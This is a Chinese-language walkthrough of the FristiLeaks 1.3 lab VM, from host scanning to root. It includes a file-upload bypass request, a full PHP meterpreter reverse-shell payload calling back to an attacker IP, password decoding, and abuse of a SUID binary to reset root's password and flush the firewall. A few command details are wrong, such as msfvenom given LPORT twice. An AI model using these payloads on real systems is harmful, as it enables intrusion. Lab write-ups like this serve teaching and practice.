
准备工作
靶机基本信息
靶机名称:FristiLeaks 1.3
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机
root权限并读取Flag文件
环境配置
- 该靶场为
OVF格式的虚拟机文件。在进行导入时,应当点击虚拟机软件界面中的File->Open按钮导入虚拟机。 - 根据要求,需要手动设置该靶场虚拟机的MAC地址为
08:00:27:A5:A6:76。

信息收集
主机发现
在Kali Linux中,可以使用如下命令进行主机发现:
shell
netdiscover -r 192.168.2.0/24

从图片中,我们看到了一台不明设备,判断该设备为靶机,IP地址为192.168.2.119。
网络服务扫描
知道了靶机的IP地址之后,我们可使用nmap对靶机进行端口扫描:
shell
nmap -A -sV 192.168.2.119

从中得知靶机仅开放了一个端口:
| 端口 | 传输层协议 | 应用层协议 | 详细信息 |
|---|---|---|---|
| 80 | TCP | HTTP | Apache httpd 2.2.15 ((CentOS ) DAV/2 PHP/5.3.3) |
HTTP服务的信息:robots.txt中有三个目录,分别为/cola,/sisi,/beer。
同时得知靶机的操作系统为CentOS Linux,内核版本在2.6.32至3.10之间。
服务探测(HTTP服务)
浏览主页
使用火狐浏览器打开网址:http://192.168.2.119/,内容如下:

大致翻了翻,网页上有一处指向作者推特的网页链接 (当然访问就别想了),底部为作者的感谢名单,除此之外就没啥了,查看源代码:
HTML
<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA
Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->
<html>
<body bgcolor="#FF69B4">
<br />
<center><h1> The <a href="https://*******.com/search?q=%23fristileaks">#fristileaks</a> motto:</h1> </center>
<center> <img src="images/keep-calm.png" /> </center>
<br />
Fristileaks 2015-12-11 are:<br>
@meneer,......, @Ar0xA
</body>
</html>
在主页没有发现有效的信息,访问一下之前nmap探测到的目录,无一例外都是这个页面:

目录扫描
既然没有发现任何信息,那么只好扫描一下目录:
shell
dirsearch -u http://192.168.2.119/ -i 200,301,302,304

好吧。。。连目录扫描也没有发现有效的信息。。。
发现业务目录
渗透似乎陷入了僵局。返回主页,主页上的文字引起了我的注意:Keep calm and drink fristi,这里的单词fristi似乎不是常规的名词或形容词,而是一个名称 。结合这句话前面的意思,我打开了这个网址:http://192.168.2.119/fristi,果然:

眼前是一个登录框,先看下源代码,部分内容如下:
HTML
<html>
<head>
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!--
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
-->
</head>
<body>
<center><h1> Welcome to #fristileaks admin portal</h1></center>
<center><img src="data:img/png;base64,/9j/4AAQSkZJRgABAgAAZABkAAD/7A......></center><br/>
<!-- More HTML codes ... -->
<!-- iVBORw0KGgoAAAANSUhEUgAAAW0AAA ...... 1qtycQAAAABJRU5ErkJggg== -->
看来靶机开发者将图片编码为Base64格式之后使用<img>标签将其嵌入了页面 。而这个网页内有两幅图片,一幅在<img>标签内,而另一幅藏在网页注释里。
现在新建一份HTML网页文件,并将隐藏的图片复制到<img>标签内:
HTML
<img src="data:image/png;base64,iVBORw ...... 1qtycQAAAABJRU5ErkJggg==">
直接得到了隐藏的密码:

再结合前面的提示信息,稍加猜测,就得出了靶机业务的身份凭证:
- 用户名:
eezeepz - 密码:
keKkeKKeKKeKkEkkEk
登录后台成功:

渗透测试
上传PHPInfo
登录成功后,点击/fristi/login_success.php下的链接,发现进入了一个文件上传界面:

于是决定随便选择一张图片上传,希望可以获取到文件保存路径,上传之后:

获取到了文件保存路径:http://192.168.2.119/fristi/uploads/
直接打开该网址,页面上只返回了no!这个英文单词,但是在网址最后输入了上传时的文件名称 后,我们成功访问到了上传的文件。网址为:http://192.168.2.119/fristi/uploads/misaka.jpg

由此得知上传的文件可以被访问,接下来打开BurpSuite,尝试上传PHP脚本文件:

Text
POST /fristi/do_upload.php HTTP/1.1
Host: 192.168.2.119
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------340830723034255098293852414857
Content-Length: 379
Origin: http://192.168.2.119
Connection: close
Referer: http://192.168.2.119/fristi/upload.php
Cookie: PHPSESSID=bo0mp9umpdr17lhb1eevfkaht6
Upgrade-Insecure-Requests: 1
-----------------------------340830723034255098293852414857
Content-Disposition: form-data; name="fileToUpload"; filename="phpinfo.php.jpg"
Content-Type: image/jpg
<?php phpinfo(); ?>
-----------------------------340830723034255098293852414857
Content-Disposition: form-data; name="submit"
Upload Image
-----------------------------340830723034255098293852414857--
发现上传成功了,尝试访问:http://192.168.2.119/fristi/uploads/phpinfo.php.jpg

上传网页木马
既然已经确定了绕过方法,那么接下来我们可以向靶机上传PHP木马。使用msfvenom可以直接生成反弹端口的PHP木马并在Metasploit中使用:
shell
msfvenom -p php/meterpreter/reverse_tcp LPORT=192.168.2.108 LPORT=4444 -f raw > [YOUR PATH]
随后打开BurpSuite,将生成好的木马直接上传:

PHP木马内容:
PHP
<?php
error_reporting(0);
$ip = '192.168.2.108';
$port = 4444;
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
}
if (!$s_type) { die('no socket funcs'); }
if (!$s) { die('no socket'); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
} else { eval($b); }
die();
?>
然后在终端敲入msfconsole,打开Metasploit,开始进行监听:
shell
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.2.108
LHOST => 192.168.2.108
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.108:4444
然后访问上传的木马,Meterpreter就会收到一个连接(网址:http://192.168.2.119/fristi/uploads/reverse_tcp_cmdshell.php.jpg):

查看操作系统信息:sysinfo
shell
meterpreter > sysinfo
Computer : 192.168.2.119
OS : Linux 192.168.2.119 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64
Meterpreter : php/linux
成功!!
针对靶机Web服务的渗透测试结束,进入权限提升部分。
权限提升
在Meterpreter中使用ps命令收集信息,得到的结果如下:

查看进程信息,发现关键的服务都未使用root用户运行,没有得到有效信息。
于是只好一层层查看目录下的文件。当查看到/var/www/目录时,在磁盘里发现了文件note.txt ,使用cat命令打印内容:

文中作者jerry对eezeepz说他的家目录一团糟,叫他清理家目录下的文件。这明显是一个提示,我们进入目录/home/eezeepz:
shell
cd /home/eezeepz
使用ls命令查看该用户家目录的文件:

我们又发现了note.txt文件,查看文件内容:
Text
Yo EZ,
I made it possible for you to do some automated checks,
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/
Don't forget to specify the full path for each binary!
Just put a file called "runthis" in /tmp/, each line one command. The
output goes to the file "cronresult" in /tmp/. It should
run every minute with my account privileges.
- Jerry
文中的内容大致为:Jerry在他的家目录/home/admin/下为低权限用户eezeepz准备了一些常用的命令程序,还告诉eezeepz如果在/tmp目录下建立名为runthis的脚本文件,操作系统会每隔一分钟以admin用户的身份执行脚本文件。
尝试查看/home/admin目录,但提示其它用户没有读写、执行权限:

既然如此,那么不妨尝试在/tmp/runthis文件中加入如下命令:
shell
#! /bin/bash
/home/admin/chmod -R 777 /home/admin
这样操作系统就会以admin用户的身份执行此条命令,给家目录提权。
等待1分钟,再次尝试进入并查看admin用户家目录:

成功!
在家目录下发现如下敏感文件:cryptedpass.txt、whoisyourgodnow.txt和cryptpass.py,前两者为经加密的密码,后者为加密脚本,它们的内容如下:
Text
# cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
# whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
Python
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
可以看到密码的加密方式为:
- 将明文密码进行
Base64编码; - 反转编码之后的
Base64密文; - 将反转后的密文再进行一次
rot13编码。
那么我们的解密脚本只需要将上述流程反着来一遍就行,代码如下:
Python
#! /usr/bin/python3
import codecs
import base64
# 解密函数
def passwd_decode(crypted_pass):
str_base64 = codecs.decode(crypted_pass,'rot13')[::-1]
return str(base64.b64decode(str_base64))
# 主程序部分
pass1 = "mVGZ3O3omkJLmy2pcuTq"
pass2 = "=RFn0AKnlMHMPIzpyuTI0ITG"
print(passwd_decode(pass1) + '\n' + passwd_decode(pass2))
这样就得到了如下明文密码:

经过确认,系统账户的密码如下:
- admin:
thisisalsopw123 - fristigod:
LetThereBeFristi!
现在先登录用户admin看看(在Meterpreter中敲入shell命令):
shell
meterpreter > shell
Process 2181 created.
Channel 2 created.
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.1$ su admin
su admin
Password: LetThereBeFristi!
[admin@192 ~]$
查看了cronjob.py文件,发现它只是以admin的权限执行/tmp/runthis文件,而且该用户也没有sudo权限 。无奈之下想到了fristigod用户,于是切换:
shell
su fristigod
切换之后执行cd ~进入用户家目录,ls -lA查看文件,没想到竟然发现了:

进入该目录查看文件:
shell
bash-4.1$ ls -lA
ls -lA
total 8
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
好啊,很好啊,就是有点不知道这玩意儿怎么用。回头看看~/.bash_history:

看样子是个可以以高权限用户执行任意命令的工具,试试:
shell
bash-4.1$ sudo -u fristi ./doCom id
sudo -u fristi ./doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
好啊,非常好。。。(尖叫)(扭曲)(阴暗的爬行) (爬行)(扭动)(阴暗地蠕动)(翻滚)(激烈地爬动)(扭曲)(痉挛)(嘶吼)(蠕动)(阴森的低吼)
接下来直接更改root用户密码:
shell
bash-4.1$ sudo -u fristi ./doCom passwd root
sudo -u fristi ./doCom passwd root
[sudo] password for fristigod: LetThereBeFristi!
Changing password for user root.
New password: *********
Retype new password: *********
passwd: all authentication tokens updated successfully.
SSH,启动!!!!!!
shell
bash-4.1$ sudo -u fristi ./doCom service sshd start
sudo -u fristi ./doCom service sshd start
Starting sshd: [ OK ]
IPTables,清空!!!!!!
shell
bash-4.1$ sudo -u fristi ./doCom iptables -F
sudo -u fristi ./doCom iptables -F
bash-4.1$ sudo -u fristi ./doCom chkconfig iptables off
sudo -u fristi ./doCom chkconfig iptables off
直接登录SSH:

Flag文件展示
文件名:
fristileaks_secrets.txt
SHA256:281a50c8b96b26b1d8d6ae857e3c04caba35e5277f96f842dfb13b4083fb9887
